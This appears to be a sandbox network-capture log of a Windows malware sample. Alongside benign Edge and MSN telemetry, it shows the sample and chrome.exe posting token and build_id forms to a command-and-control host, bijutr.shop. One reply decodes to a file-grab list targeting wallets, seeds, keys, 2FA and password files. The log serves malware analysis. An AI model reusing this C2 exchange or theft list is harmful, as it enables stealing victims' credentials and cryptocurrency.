2024-12-27 07:20:51 UTC	3868	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 37 3a 32 30 3a 34 38 2e 32 37 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 65 38 38 66 61 62 32 2d 31 65 37 38 2d 34 65 32 32 2d 38 66 63 31 2d 31 37 63 39 35 34 39 61 39 61 64 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 34 30 33 36 34 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-12-27T07:20:48.278Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"3e88fab2-1e78-4e22-8fc1-17c9549a9ad3","epoch":"204036419"},"app":{"locale"
2024-12-27 07:20:51 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=eb5f21d76f454e35bf3e7dbfb638270b&HASH=eb5f&LV=202412&V=4&LU=1735284051537; Domain=.microsoft.com; Expires=Sat, 27 Dec 2025 07:20:51 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=79676f7b3386401eb0e97882bb71fc89; Domain=.microsoft.com; Expires=Fri, 27 Dec 2024 07:50:51 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3254 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 27 Dec 2024 07:20:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49919	20.110.205.119	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:52 UTC	1261	OUT	GET /c.gif?rnd=1735284048285&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5f47d732c1f847c1915dbc05f2d1c1c0&activityId=5f47d732c1f847c1915dbc05f2d1c1c0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=88BD196131DF4F6484A57ED6AE89D619&MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1; SM=T
2024-12-27 07:20:52 UTC	982	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Tue, 10 Dec 2024 13:00:24 GMT Accept-Ranges: bytes ETag: "9270eb7934bdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; domain=.msn.com; expires=Wed, 21-Jan-2026 07:20:52 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=2BA4C89BEAD6644B32BDDDF9EBCF652E; domain=c.msn.com; expires=Wed, 21-Jan-2026 07:20:52 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Fri, 03-Jan-2025 07:20:52 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Fri, 27-Dec-2024 07:30:52 GMT; path=/; SameSite=None; Secure; Date: Fri, 27 Dec 2024 07:20:51 GMT Connection: close Content-Length: 42
2024-12-27 07:20:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49930	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:53 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IMGDJEKF37QIMYUKF3W4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:53 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4d 47 44 4a 45 4b 46 33 37 51 49 4d 59 55 4b 46 33 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4d 47 44 4a 45 4b 46 33 37 51 49 4d 59 55 4b 46 33 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4d 47 44 4a 45 4b 46 33 37 51 49 4d 59 55 4b 46 33 57 34 0d 0a 43 6f 6e 74 Data Ascii: ------IMGDJEKF37QIMYUKF3W4Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------IMGDJEKF37QIMYUKF3W4Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------IMGDJEKF37QIMYUKF3W4Cont
2024-12-27 07:20:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:54 UTC	1588	IN	Data Raw: 36 32 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 628REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49940	188.245.216.205	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:56 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----89RQQIEKNGV37Y5FUKX4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 1821 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:56 UTC	1821	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 39 52 51 51 49 45 4b 4e 47 56 33 37 59 35 46 55 4b 58 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 38 39 52 51 51 49 45 4b 4e 47 56 33 37 59 35 46 55 4b 58 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 38 39 52 51 51 49 45 4b 4e 47 56 33 37 59 35 46 55 4b 58 34 0d 0a 43 6f 6e 74 Data Ascii: ------89RQQIEKNGV37Y5FUKX4Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------89RQQIEKNGV37Y5FUKX4Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------89RQQIEKNGV37Y5FUKX4Cont
2024-12-27 07:20:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:57 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49942	52.168.117.170	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:57 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735284054576&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11949 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-27 07:20:57 UTC	11949	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 37 3a 32 30 3a 35 34 2e 35 37 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 65 38 38 66 61 62 32 2d 31 65 37 38 2d 34 65 32 32 2d 38 66 63 31 2d 31 37 63 39 35 34 39 61 39 61 64 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 34 30 33 36 34 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-27T07:20:54.575Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"3e88fab2-1e78-4e22-8fc1-17c9549a9ad3","epoch":"204036419"},"app":{"locale"
2024-12-27 07:20:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=36ec4e1c6d7e42109c8dd1ce20006504&HASH=36ec&LV=202412&V=4&LU=1735284058087; Domain=.microsoft.com; Expires=Sat, 27 Dec 2025 07:20:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4c9b48a2bd1b436bba78bb70914b246d; Domain=.microsoft.com; Expires=Fri, 27 Dec 2024 07:50:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3511 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 27 Dec 2024 07:20:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49941	52.168.117.170	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:57 UTC	1070	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735284054581&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5219 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-27 07:20:57 UTC	5219	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 37 3a 32 30 3a 35 34 2e 35 38 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 65 38 38 66 61 62 32 2d 31 65 37 38 2d 34 65 32 32 2d 38 66 63 31 2d 31 37 63 39 35 34 39 61 39 61 64 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 34 30 33 36 34 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-27T07:20:54.580Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"3e88fab2-1e78-4e22-8fc1-17c9549a9ad3","epoch":"204036419"},"app":{"locale"
2024-12-27 07:20:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7a093b2960454bfba66fc27f4ac47c8c&HASH=7a09&LV=202412&V=4&LU=1735284057893; Domain=.microsoft.com; Expires=Sat, 27 Dec 2025 07:20:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5333676d38f94007ab91456ce7100d9d; Domain=.microsoft.com; Expires=Fri, 27 Dec 2024 07:50:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3312 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 27 Dec 2024 07:20:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49948	52.168.117.170	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:58 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735284055450&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5417 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-27 07:20:58 UTC	5417	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 37 3a 32 30 3a 35 35 2e 34 34 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 65 38 38 66 61 62 32 2d 31 65 37 38 2d 34 65 32 32 2d 38 66 63 31 2d 31 37 63 39 35 34 39 61 39 61 64 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 34 30 33 36 34 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-12-27T07:20:55.449Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"3e88fab2-1e78-4e22-8fc1-17c9549a9ad3","epoch":"204036419"},"app":{"locale"
2024-12-27 07:20:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=14299ace0d154e2d9c4572c2f7ca057e&HASH=1429&LV=202412&V=4&LU=1735284058416; Domain=.microsoft.com; Expires=Sat, 27 Dec 2025 07:20:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a3c1a660c9174e6aacdc881c8175ea59; Domain=.microsoft.com; Expires=Fri, 27 Dec 2024 07:50:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2966 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 27 Dec 2024 07:20:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49949	52.168.117.170	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:58 UTC	1060	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735284055572&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9876 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-27 07:20:58 UTC	9876	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 37 54 30 37 3a 32 30 3a 35 35 2e 35 37 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 65 38 38 66 61 62 32 2d 31 65 37 38 2d 34 65 32 32 2d 38 66 63 31 2d 31 37 63 39 35 34 39 61 39 61 64 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 34 30 33 36 34 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-12-27T07:20:55.570Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"3e88fab2-1e78-4e22-8fc1-17c9549a9ad3","epoch":"204036419"},"app":{"loca
2024-12-27 07:20:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b467fd1618144642a5dfcbcc732036cc&HASH=b467&LV=202412&V=4&LU=1735284058482; Domain=.microsoft.com; Expires=Sat, 27 Dec 2025 07:20:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=58b3fe964a1a412f9a976b2652f2c71d; Domain=.microsoft.com; Expires=Fri, 27 Dec 2024 07:50:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2910 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 27 Dec 2024 07:20:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49950	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
